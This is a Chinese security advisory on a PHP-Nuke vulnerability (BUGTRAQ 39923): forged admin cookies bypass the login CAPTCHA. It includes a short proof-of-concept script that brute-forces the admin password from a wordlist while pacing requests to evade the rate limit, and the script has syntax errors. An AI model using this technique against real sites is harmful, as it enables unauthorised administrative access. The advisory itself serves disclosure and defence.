PHP-Nuke绕过识别码验证漏洞

发布日期:2010-05-04
更新日期:2010-05-06

受影响系统:
PHP-Nuke PHP-Nuke 8.1.35
PHP-Nuke PHP-Nuke 8.1
PHP-Nuke PHP-Nuke 7.7
PHP-Nuke PHP-Nuke 7.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39923

PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke可配置为要求识别码才可以登录,以防范暴力猜测攻击。但用户可以在提交给Web服务器的POST请求中提供伪造的Cookie来绕过识别码验证,获得非授权访问。

<*来源:Michael Brooks
 
  链接:http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

$http=new http();
$x=0;
foreach $wordlist as $pass{
$http->cookie="admin=".base64_encode($admin_name.":".md5($pass).":").";";
$resp=$http->send("http://127.0.0.1/admin.php");
if(!strstr($resp,"Administration System Login")){
break;
}
//This stays below ipban.php's rate limit of less than 5 requests per 2 seconds.
if(!($x%4)){
sleep(2);
}
$x++;
}
if(!strstr($resp,"Administration System Login"))){
print "password:$pass\n";
}else{
print "password not found\n"
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP-Nuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://phpnuke.org/